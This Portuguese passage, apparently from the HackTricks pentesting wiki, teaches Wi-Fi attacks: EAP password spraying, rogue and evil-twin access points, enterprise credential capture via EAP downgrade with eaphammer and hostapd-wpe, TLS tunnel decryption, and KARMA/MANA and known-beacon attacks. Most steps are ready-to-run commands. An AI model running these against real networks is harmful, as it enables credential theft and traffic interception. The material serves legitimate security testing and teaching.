O EAP-TTLS funciona um pouco diferente. Com o EAP-TTLS, o cliente geralmente se autentica via PAP ou CHAP protegido pelo túnel TLS. Nesse caso, o cliente incluirá um atributo User-Name e um atributo Password ou CHAP-Password na primeira mensagem TLS enviada após o túnel ser estabelecido.
|
|
|
|
Com qualquer um dos protocolos, o servidor PEAP/TTLS aprende a verdadeira identidade do usuário assim que o túnel TLS for estabelecido. A verdadeira identidade pode estar na forma de _**user@realm**_ ou simplesmente _**user**_. Se o servidor PEAP/TTLS também estiver autenticando o _**usuário**_, ele agora sabe a identidade do usuário e prossegue com o método de autenticação sendo protegido pelo túnel TLS. Alternativamente, o servidor PEAP/TTLS pode encaminhar uma nova solicitação RADIUS para o servidor RADIUS doméstico do usuário. Esta nova solicitação RADIUS tem o protocolo PEAP ou TTLS removido. Se o método de autenticação protegido for EAP, as mensagens EAP internas são transmitidas para o servidor RADIUS doméstico sem a estrutura EAP-PEAP ou EAP-TTLS. O atributo User-Name da mensagem RADIUS de saída contém a verdadeira identidade do usuário - não a identidade anônima do atributo User-Name da solicitação RADIUS de entrada. Se o método de autenticação protegido for PAP ou CHAP (suportado apenas pelo TTLS), o atributo User-Name e outros atributos de autenticação recuperados da carga útil TLS são colocados na mensagem RADIUS de saída no lugar do atributo User-Name anônimo e dos atributos EAP-Message TTLS incluídos na solicitação RADIUS de entrada.
|
|
|
|
### EAP-Bruteforce (spray de senha)
|
|
|
|
Se o cliente deve usar um **nome de usuário e senha** (observe que o **EAP-TLS não será válido** neste caso), você pode tentar obter uma **lista** de **nomes de usuário** (veja a próxima parte) e **senhas** e tentar **forçar a entrada** usando o [**air-hammer**](https://github.com/Wh1t3Rh1n0/air-hammer).
|
|
```bash
|
|
./air-hammer.py -i wlan0 -e Test-Network -P UserPassword1 -u usernames.txt
|
|
```
|
|
Você também pode realizar este ataque usando o `eaphammer`:
|
|
```bash
|
|
./eaphammer --eap-spray \
|
|
--interface-pool wlan0 wlan1 wlan2 wlan3 wlan4 \
|
|
--essid example-wifi \
|
|
--password bananas \
|
|
--user-list users.txt
|
|
```
|
|
## Teoria de ataques ao cliente
|
|
|
|
### Seleção de rede e roaming
|
|
|
|
Embora o protocolo 802.11 tenha regras muito específicas que ditam como uma estação pode se juntar a uma ESS, ele não especifica como a estação deve selecionar uma ESS para se conectar. Além disso, o protocolo permite que as estações se movam livremente entre pontos de acesso que compartilham o mesmo ESSID (porque você não gostaria de perder a conectividade WiFi ao caminhar de uma extremidade de um prédio para outra, etc). No entanto, o protocolo 802.11 não especifica como esses pontos de acesso devem ser selecionados. Além disso, embora as estações devam ser autenticadas na ESS para se associar a um ponto de acesso, o protocolo 802.11 não exige que o ponto de acesso seja autenticado na estação.
|
|
|
|
### Listas de rede preferidas (PNLs)
|
|
|
|
Cada vez que uma estação se conecta a uma rede sem fio, o ESSID da rede é armazenado na Lista de Redes Preferidas (PNL) da estação. A PNL é uma lista ordenada de todas as redes às quais a estação se conectou no passado, e cada entrada na PNL contém o ESSID da rede e qualquer informação de configuração específica da rede necessária para estabelecer uma conexão.
|
|
|
|
### Varredura passiva
|
|
|
|
Em redes de infraestrutura, os pontos de acesso periodicamente transmitem quadros de beacon para anunciar sua presença e capacidades às estações próximas. Beacons são quadros de transmissão, o que significa que eles são destinados a serem recebidos por todas as estações próximas dentro do alcance. Os beacons incluem informações sobre as taxas suportadas pelo AP, capacidades de criptografia, informações adicionais e, o mais importante, os quadros de beacon contêm o ESSID do AP (desde que a transmissão do ESSID não esteja desativada).
|
|
|
|
Durante a varredura passiva, o dispositivo cliente ouve os quadros de beacon dos pontos de acesso próximos. Se o dispositivo cliente receber um quadro de beacon cujo campo ESSID corresponder a um ESSID da PNL do cliente, o cliente se conectará automaticamente ao ponto de acesso que enviou o quadro de beacon. Então, suponha que queiramos direcionar um dispositivo sem fio que não esteja atualmente conectado a nenhum sem fio. Se soubermos pelo menos uma entrada na PNL desse cliente, podemos forçar o cliente a se conectar a nós simplesmente criando nosso próprio ponto de acesso com o ESSID dessa entrada.
|
|
|
|
### Sondagem ativa
|
|
|
|
O segundo algoritmo de seleção de rede usado no 802.11 é conhecido como Sondagem Ativa. Dispositivos clientes que usam sondagem ativa continuamente transmitem quadros de solicitação de sondagem para determinar quais APs estão dentro do alcance, bem como quais são suas capacidades. As solicitações de sondagem vêm em duas formas: direcionadas e de transmissão. As solicitações de sondagem direcionadas são endereçadas a um ESSID específico e são a maneira do cliente verificar se uma rede específica está próxima.
|
|
|
|
Os clientes que usam sondagem direcionada enviarão solicitações de sondagem para cada rede em sua PNL. Deve-se notar que a sondagem direcionada é a única maneira de identificar a presença de redes ocultas próximas. As solicitações de sondagem de transmissão funcionam quase exatamente da mesma maneira, mas são enviadas com o campo SSID definido como NULL. Isso endereça a solicitação de sondagem de transmissão a todos os pontos de acesso próximos, permitindo que a estação verifique se alguma de suas redes preferidas está próxima sem revelar o conteúdo de sua PNL.
|
|
|
|
## AP simples com redirecionamento para a Internet
|
|
|
|
Antes de explicar como realizar ataques mais complexos, será explicado **como** apenas **criar** um **AP** e **redirecionar** seu **tráfego** para uma interface conectada **à** **Internet**.
|
|
|
|
Usando `ifconfig -a`, verifique se a interface wlan para criar o AP e a interface conectada à Internet estão presentes.
|
|
|
|
### DHCP e DNS
|
|
```bash
|
|
apt-get install dnsmasq #Manages DHCP and DNS
|
|
```
|
|
Crie um arquivo de configuração _/etc/dnsmasq.conf_ da seguinte forma:
|
|
```
|
|
interface=wlan0
|
|
dhcp-authoritative
|
|
dhcp-range=192.168.1.2,192.168.1.30,255.255.255.0,12h
|
|
dhcp-option=3,192.168.1.1
|
|
dhcp-option=6,192.168.1.1
|
|
server=8.8.8.8
|
|
log-queries
|
|
log-dhcp
|
|
listen-address=127.0.0.1
|
|
```
|
|
Em seguida, **configure IPs** e **rotas**:
|
|
```
|
|
ifconfig wlan0 up 192.168.1.1 netmask 255.255.255.0
|
|
route add -net 192.168.1.0 netmask 255.255.255.0 gw 192.168.1.1
|
|
```
|
|
E então **inicie** o dnsmasq:
|
|
```
|
|
dnsmasq -C dnsmasq.conf -d
|
|
```
|
|
### hostapd
|
|
|
|
O **hostapd** é um daemon do Linux que permite que o dispositivo funcione como um ponto de acesso Wi-Fi. Ele implementa o protocolo de gerenciamento de acesso ao meio (MAC) 802.11 e é usado para autenticar clientes em uma rede sem fio. O **hostapd** pode ser usado para criar uma rede sem fio segura e controlada, permitindo que os testadores de penetração avaliem a segurança da rede sem fio.
|
|
```
|
|
apt-get install hostapd
|
|
```
|
|
Crie um arquivo de configuração _hostapd.conf:_
|
|
```
|
|
interface=wlan0
|
|
driver=nl80211
|
|
ssid=MITIWIFI
|
|
hw_mode=g
|
|
channel=11
|
|
macaddr_acl=0
|
|
ignore_broadcast_ssid=0
|
|
auth_algs=1
|
|
wpa=2
|
|
wpa_passphrase=mitmwifi123
|
|
wpa_key_mgmt=WPA-PSK
|
|
wpa_pairwise=CCMP
|
|
wpa_group_rekey=86400
|
|
ieee80211n=1
|
|
wme_enabled=1
|
|
```
|
|
**Interrompa processos irritantes**, defina o **modo monitor**, e **inicie o hostapd**:
|
|
```
|
|
airmon-ng check kill
|
|
iwconfig wlan0 mode monitor
|
|
ifconfig wlan0 up
|
|
hostapd ./hostapd.conf
|
|
```
|
|
### Encaminhamento e Redirecionamento
|
|
```bash
|
|
iptables --table nat --append POSTROUTING --out-interface eth0 -j MASQUERADE
|
|
iptables --append FORWARD --in-interface wlan0 -j ACCEPT
|
|
echo 1 > /proc/sys/net/ipv4/ip_forward
|
|
```
|
|
## Gêmeo Malvado
|
|
|
|
Um ataque de gêmeo malvado é um tipo de ataque Wi-Fi que funciona aproveitando o fato de que a maioria dos computadores e telefones só verá o "nome" ou ESSID de uma rede sem fio (já que a estação base não precisa se autenticar contra o cliente). Isso na verdade torna muito difícil distinguir entre redes com o mesmo nome e o mesmo tipo de criptografia. Na verdade, muitas redes terão vários pontos de acesso que estendem a rede, todos usando o mesmo nome para expandir o acesso sem confundir os usuários.
|
|
|
|
Devido à forma como a implementação dos clientes funciona (lembre-se de que o protocolo 802.11 permite que as estações se movam livremente entre pontos de acesso dentro do mesmo ESS), é possível fazer com que um dispositivo mude a estação base à qual está conectado. Isso é possível oferecendo um sinal melhor (o que nem sempre é possível) ou bloqueando o acesso à estação base original (pacotes de desautenticação, interferência ou algum outro tipo de ataque DoS).
|
|
|
|
Observe também que as implantações de redes sem fio do mundo real geralmente têm mais de um ponto de acesso, e esses pontos de acesso são frequentemente mais poderosos e têm melhor alcance de linha de visão devido à sua colocação em direção ao teto. Desautenticar um único ponto de acesso geralmente resulta no alvo se movendo para outro ponto de acesso válido em vez do seu AP falso, a menos que todos os pontos de acesso próximos sejam desautenticados (alto) ou você seja muito cuidadoso com a colocação do AP falso (difícil).
|
|
|
|
Você pode criar um Gêmeo Malvado Aberto muito básico (sem capacidade de rotear tráfego para a Internet) fazendo:
|
|
```bash
|
|
airbase-ng -a 00:09:5B:6F:64:1E --essid "Elroy" -c 1 wlan0mon
|
|
```
|
|
Você também pode criar um Evil Twin usando o **eaphammer** (observe que para criar Evil Twins com o eaphammer a interface **NÃO DEVE** estar em modo **monitor**):
|
|
```
|
|
./eaphammer -i wlan0 --essid exampleCorp --captive-portal
|
|
```
|
|
Ou usando o Airgeddon: `Opções: 5,6,7,8,9 (dentro do menu de ataque Evil Twin).`
|
|
|
|
.png>)
|
|
|
|
Por favor, observe que por padrão, se um ESSID na PNL for salvo como protegido por WPA, o dispositivo não se conectará automaticamente a um Evil Twin aberto. Você pode tentar DoS o AP real e esperar que o usuário se conecte manualmente ao seu Evil Twin aberto, ou pode DoS o AP real e usar um WPA Evil Twin para capturar o handshake (usando este método, você não poderá deixar a vítima se conectar a você, pois não sabe o PSK, mas pode capturar o handshake e tentar quebrá-lo).
|
|
|
|
_Alguns sistemas operacionais e antivírus avisarão o usuário que se conectar a uma rede aberta é perigoso..._
|
|
|
|
### WPA/WPA2 Evil Twin
|
|
|
|
Você pode criar um **Evil Twin usando WPA/2** e se os dispositivos estiverem configurados para se conectar a esse SSID com WPA/2, eles tentarão se conectar. De qualquer forma, **para completar o handshake de 4 vias**, você também precisa **saber** a **senha** que o cliente vai usar. Se você **não sabe**, a **conexão não será concluída**.
|
|
```
|
|
./eaphammer -i wlan0 -e exampleCorp -c 11 --creds --auth wpa-psk --wpa-passphrase "mywifipassword"
|
|
```
|
|
### Evil Twin Empresarial
|
|
|
|
Para entender esses ataques, recomenda-se ler antes a breve explicação sobre [WPA Enterprise](./#wpa-enterprise-mgt).
|
|
|
|
**Usando o hostapd-wpe**
|
|
|
|
O `hostapd-wpe` precisa de um arquivo de **configuração** para funcionar. Para **automatizar** a geração dessas configurações, você pode usar [https://github.com/WJDigby/apd\_launchpad](https://github.com/WJDigby/apd\_launchpad) (baixe o arquivo python dentro de _/etc/hostapd-wpe/_).
|
|
```
|
|
./apd_launchpad.py -t victim -s PrivateSSID -i wlan0 -cn company.com
|
|
hostapd-wpe ./victim/victim.conf -s
|
|
```
|
|
No arquivo de configuração, você pode selecionar muitas coisas diferentes, como ssid, canal, arquivos de usuário, credenciais/chave, parâmetros dh, versão wpa e autenticação...
|
|
|
|
[**Usando hostapd-wpe com EAP-TLS para permitir que qualquer certificado faça login.**](evil-twin-eap-tls.md)
|
|
|
|
**Usando EAPHammer**
|
|
```bash
|
|
# Generate Certificates
|
|
./eaphammer --cert-wizard
|
|
|
|
# Launch Attack
|
|
./eaphammer -i wlan0 --channel 4 --auth wpa-eap --essid CorpWifi --creds
|
|
```
|
|
Por padrão, o EAPHammer utiliza os seguintes métodos de autenticação (observe que o GTC é o primeiro a ser utilizado para obter senhas em texto plano e, em seguida, são utilizados métodos de autenticação mais robustos):
|
|
```
|
|
GTC,MSCHAPV2,TTLS-MSCHAPV2,TTLS,TTLS-CHAP,TTLS-PAP,TTLS-MSCHAP,MD5
|
|
```
|
|
Esta é a metodologia padrão para evitar tempos de conexão longos. No entanto, você também pode especificar para o servidor os métodos de autenticação do mais fraco para o mais forte:
|
|
```
|
|
--negotiate weakest
|
|
```
|
|
Ou você também pode usar:
|
|
|
|
* `--negotiate gtc-downgrade` para usar uma implementação de downgrade GTC altamente eficiente (senhas em texto simples)
|
|
* `--negotiate manual --phase-1-methods PEAP,TTLS --phase-2-methods MSCHAPV2,GTC,TTLS-PAP` para especificar manualmente os métodos oferecidos (oferecer os mesmos métodos de autenticação na mesma ordem que a organização tornará o ataque muito mais difícil de detectar).
|
|
* [Encontre mais informações na wiki](http://solstice.sh/wireless/eaphammer/2019/09/10/eap-downgrade-attacks/)
|
|
|
|
**Usando Airgeddon**
|
|
|
|
`Airgeddon` pode usar certificados previamente gerados para oferecer autenticação EAP a redes WPA/WPA2-Enterprise. A rede falsa fará o downgrade do protocolo de conexão para EAP-MD5, para que possa **capturar o usuário e o MD5 da senha**. Mais tarde, o atacante pode tentar quebrar a senha.\
|
|
`Airggedon` oferece a possibilidade de um **ataque Evil Twin contínuo (ruidoso)** ou **apenas criar o ataque Evil até que alguém se conecte (suave).**
|
|
|
|
.png>)
|
|
|
|
### Depuração de túneis TLS PEAP e EAP-TTLS em ataques Evil Twins
|
|
|
|
_Este método foi testado em uma conexão PEAP, mas como estou descriptografando um túnel TLS arbitrário, isso também deve funcionar com EAP-TTLS_
|
|
|
|
Dentro da **configuração** do _hostapd-wpe_, **comente** a linha que contém _**dh\_file**_ (de `dh_file=/etc/hostapd-wpe/certs/dh` para `#dh_file=/etc/hostapd-wpe/certs/dh`)\
|
|
Isso fará com que o `hostapd-wpe` **troque chaves usando RSA** em vez de DH, para que você possa **descriptografar** o tráfego posteriormente **conhecendo a chave privada do servidor**.
|
|
|
|
Agora inicie o **Evil Twin** usando **`hostapd-wpe`** com essa configuração modificada como de costume. Além disso, inicie o **`wireshark`** na **interface** que está realizando o ataque Evil Twin.
|
|
|
|
Agora ou mais tarde (quando você já capturou algumas intenções de autenticação), você pode adicionar a chave privada RSA ao wireshark em: `Editar --> Preferências --> Protocolos --> TLS --> (Lista de chaves RSA) Editar...`
|
|
|
|
Adicione uma nova entrada e preencha o formulário com estes valores: **Endereço IP = qualquer** -- **Porta = 0** -- **Protocolo = dados** -- **Arquivo de chave** (**selecione seu arquivo de chave**, para evitar problemas, selecione um arquivo de chave **sem proteção por senha**).
|
|
|
|
.png>)
|
|
|
|
E olhe para a nova **aba "TLS descriptografado"**:
|
|
|
|
.png>)
|
|
|
|
## Ataque KARMA, MANA, Loud MANA e Beacons conhecidos
|
|
|
|
### Listas negras e brancas de ESSID e MAC
|
|
|
|
A tabela a seguir lista os diferentes tipos de MFACLs (Listas de Controle de Acesso de Quadros de Gerenciamento) disponíveis, bem como seus efeitos quando usados:
|
|
|
|
.png>)
|
|
```
|
|
# example EAPHammer MFACL file, wildcards can be used
|
|
78:f0:97:fc:b5:36
|
|
9a:35:e1:01:4f:cf
|
|
69:19:14:60:20:45
|
|
ce:52:b8:*:*:*
|
|
|
|
[--mac-whitelist /path/to/mac/whitelist/file.txt #EAPHammer whitelisting]
|
|
[--mac-blacklist /path/to/mac/blacklist/file.txt #EAPHammer blacklisting]
|
|
```
|
|
|
|
```
|
|
# example ESSID-based MFACL file
|
|
apples
|
|
oranges
|
|
grapes
|
|
pears
|
|
|
|
[--ssid-whitelist /path/to/mac/whitelist/file.txt]
|
|
[--ssid-blacklist /path/to/mac/blacklist/file.txt]
|
|
```
|
|
### KARMA
|
|
|
|
Os ataques Karma são uma segunda forma de ataque de ponto de acesso falso que explora o processo de seleção de rede usado pelas estações. Em um whitepaper escrito em 2005, Dino Dai Zovi e Shane Macaulay descrevem como um atacante pode configurar um ponto de acesso para ouvir solicitações de sonda direcionadas e responder a todas elas com respostas de sonda direcionadas correspondentes. Isso faz com que as estações afetadas enviem automaticamente uma solicitação de associação ao ponto de acesso do atacante. O ponto de acesso então responde com uma resposta de associação, fazendo com que as estações afetadas se conectem ao atacante.
|
|
|
|
### MANA
|
|
|
|
De acordo com Ian de Villiers e Dominic White, as estações modernas são projetadas para se proteger contra ataques Karma ignorando respostas de sonda direcionadas de pontos de acesso que ainda não responderam a pelo menos uma solicitação de sonda de transmissão. Isso levou a uma queda significativa no número de estações que eram vulneráveis a ataques Karma até 2015, quando White e de Villiers desenvolveram um meio de contornar tais proteções. No aprimorado ataque Karma de White e de Villiers (ataque MANA), as respostas de sonda direcionadas são usadas para reconstruir as PNLs das estações próximas. Quando uma solicitação de sonda de transmissão é recebida de uma estação, o ponto de acesso do atacante responde com um SSID arbitrário da PNL da estação que já foi vista em uma sonda direta desse dispositivo.
|
|
|
|
Em resumo, o algoritmo MANA funciona da seguinte maneira: cada vez que o ponto de acesso recebe uma solicitação de sonda, ele primeiro determina se é uma sonda de transmissão ou direcionada. Se for uma sonda direcionada, o endereço MAC do remetente é adicionado à tabela de hash (se ainda não estiver lá) e o ESSID é adicionado à PNL desse dispositivo. O ponto de acesso então responde com uma resposta de sonda direcionada. Se for uma sonda de transmissão, o ponto de acesso responde com respostas de sonda para cada uma das redes na PNL desse dispositivo.
|
|
|
|
Ataque MANA usando eaphammer:
|
|
```
|
|
./eaphammer -i wlan0 --cloaking full --mana --mac-whitelist whitelist.txt [--captive-portal] [--auth wpa-psk --creds]
|
|
```
|
|
### Ataque Loud MANA
|
|
|
|
Observe que o ataque MANA padrão ainda não nos permite atacar dispositivos que não usam sondagem direcionada. Portanto, se também não conhecemos previamente nenhuma entrada dentro do PNL do dispositivo, precisamos descobrir alguma outra maneira de atacá-lo.
|
|
|
|
Uma possibilidade é o que é chamado de ataque Loud MANA. Esse ataque se baseia na ideia de que dispositivos clientes em proximidade física próxima provavelmente têm pelo menos algumas entradas em comum em seus PNLs.
|
|
|
|
Em resumo, o ataque Loud MANA, em vez de responder a solicitações de sondagem com cada ESSID em um determinado PNL do dispositivo, o AP falso envia respostas de sondagem para cada ESSID em todos os PNLs de todos os dispositivos que ele já viu antes. Relacionando isso à teoria dos conjuntos, podemos dizer que o AP envia respostas de sondagem para cada ESSID na união de todos os PNLs de dispositivos próximos.
|
|
```
|
|
./eaphammer -i wlan0 --cloaking full --mana --loud [--captive-portal] [--auth wpa-psk --creds]
|
|
```
|
|
### Ataque de Beacon Conhecido
|
|
|
|
Ainda existem casos em que o ataque Loud MANA não terá sucesso. O ataque de Beacon Conhecido é uma forma de "Força Bruta" ESSIDs para tentar fazer com que a vítima se conecte ao atacante. O atacante cria um AP que responde a qualquer ESSID e executa algum código enviando beacons falsificando ESSIDs de cada nome dentro de uma lista de palavras. Com sorte, a vítima conterá alguns desses nomes de ESSID dentro de sua PNL e tentará se conectar ao AP falso.\
|
|
O Eaphammer implementou este ataque como um ataque MANA onde todos os ESSIDs dentro de uma lista são carregados (você também pode combinar isso com `--loud` para criar um ataque Loud MANA + Beacon Conhecido):
|
|
```
|
|
./eaphammer -i wlan0 --mana [--loud] --known-beacons --known-ssids-file wordlist.txt [--captive-portal] [--auth wpa-psk --creds]
|
|
```
|
|
**Ataque de Burst de Beacon Conhecido**
|
|
|
|
Como os beacons conhecidos são altos, você pode usar um script dentro do projeto Eaphammer para lançar rapidamente beacons de cada nome de ESSID dentro de um arquivo. Se você combinar esse script com um ataque MANA do Eaphammer, os clientes poderão se conectar ao seu AP.
|
|
```
|
|
# transmit a burst of 5 forged beacon packets for each entry in list
|
|
./forge-beacons -i wlan1 \
|
|
--bssid de:ad:be:ef:13:37 \
|
|
--known-essids-file known-s.txt \
|
|
--dst-addr 11:22:33:11:22:33 \
|
|
--burst-count 5
|
|
```
|
|
## Wi-Fi Direct
|
|
|
|
O Wi-Fi Direct é um padrão Wi-Fi que permite que dispositivos se conectem entre si sem um AP sem fio, pois um dos dois dispositivos atuará como AP (chamado de proprietário do grupo). Você pode encontrar o Wi-Fi Direct em muitos dispositivos IoT como impressoras, TVs...
|
|
|
|
O Wi-Fi Direct depende do Wi-Fi Protected Setup (**WPS**) para conectar os dispositivos com segurança. O WPS possui vários métodos de configuração, como **Push-Button** Configuration (PBC), **PIN entry** e **Near-Field** Communication (NFC).
|
|
|
|
Portanto, os ataques anteriormente vistos ao PIN do WPS também são válidos aqui se o PIN for usado.
|
|
|
|
### EvilDirect Hijacking
|
|
|
|
Isso funciona como um Evil-Twin, mas para o Wi-Fi Direct, você pode se passar por um proprietário de grupo para tentar fazer com que outros dispositivos, como telefones, se conectem a você: `airbase-ng -c 6 -e DIRECT-5x-BRAVIA -a BB:BB:BB:BB:BB:BB mon0`
|
|
|
|
## Referências
|
|
|
|
* [https://posts.specterops.io/modern-wireless-attacks-pt-i-basic-rogue-ap-theory-evil-twin-and-karma-attacks-35a8571550ee](https://posts.specterops.io/modern-wireless-attacks-pt-i-basic-rogue-ap-theory-evil-twin-and-karma-attacks-35a8571550ee)
|
|
* [https://posts.specterops.io/modern-wireless-attacks-pt-ii-mana-and-known-beacon-attacks-97a359d385f9](https://posts.specterops.io/modern-wireless-attacks-pt-ii-mana-and-known-beacon-attacks-97a359d385f9)
|
|
* [https://posts.specterops.io/modern-wireless-tradecraft-pt-iii-management-frame-access-control-lists-mfacls-22ca7f314a38](https://posts.specterops.io/modern-wireless-tradecraft-pt-iii-management-frame-access-control-lists-mfacls-22ca7f314a38)
|
|
* [https://posts.specterops.io/modern-wireless-tradecraft-pt-iv-tradecraft-and-detection-d1a95da4bb4d](https://posts.specterops.io/modern-wireless-tradecraft-pt-iv-tradecraft-and-detection-d1a95da4bb4d)
|
|
* [https://github.com/gdssecurity/Whitepapers/blob/master/GDS%20Labs%20-%20Identifying%20Rogue%20Access%20Point%20Attacks%20Using%20Probe%20Response%20Patterns%20and%20Signal%20Strength.pdf](https://github.com/gdssecurity/Whitepapers/blob/master/GDS%20Labs%20-%20Identifying%20Rogue%20Access%20Point%20Attacks%20Using%20Probe%20Response%20Patterns%20and%20Signal%20Strength.pdf)
|
|
* [http://solstice.sh/wireless/eaphammer/2019/09/10/eap-downgrade-attacks/](http://solstice.sh/wireless/eaphammer/2019/09/10/eap-downgrade-attacks/)
|
|
* [https://www.evilsocket.net/2019/02/13/Pwning-WiFi-networks-with-bettercap-and-the-PMKID-client-less-attack/](https://www.evilsocket.net/2019/02/13/Pwning-WiFi-networks-with-bettercap-and-the-PMKID-client-less-attack/)
|
|
* [https://medium.com/hacking-info-sec/ataque-clientless-a-wpa-wpa2-usando-pmkid-1147d72f464d](https://medium.com/hacking-info-sec/ataque-clientless-a-wpa-wpa2-usando-pmkid-1147d72f464d)
|
|
|
|
TODO: Dê uma olhada em [https://github.com/wifiphisher/wifiphisher](https://github.com/wifiphisher/wifiphisher) (login com Facebook e imitação de WPA em portais cativos)
|
|
|
|
<figure><img src="../../.gitbook/assets/image (7) (2).png" alt=""><figcaption></figcaption></figure>
|
|
|
|
[**Siga o HackenProof**](https://bit.ly/3xrrDrL) **para aprender mais sobre bugs web3**
|
|
|
|
🐞 Leia tutoriais de bugs web3
|
|
|
|
🔔 Receba notificações sobre novas recompensas por bugs
|
|
|
|
💬 Participe de discussões na comunidade
|
|
|
|
<details>
|
|
|
|
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
|
|
|
* Você trabalha em uma **empresa de segurança cibernética**? Você quer ver sua **empresa anunciada no HackTricks**? ou você quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
|
* Descubra [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
|
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
|
|
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga** me no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
|
* **Compartilhe suas dicas de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud).
|
|
|
|
</details>
|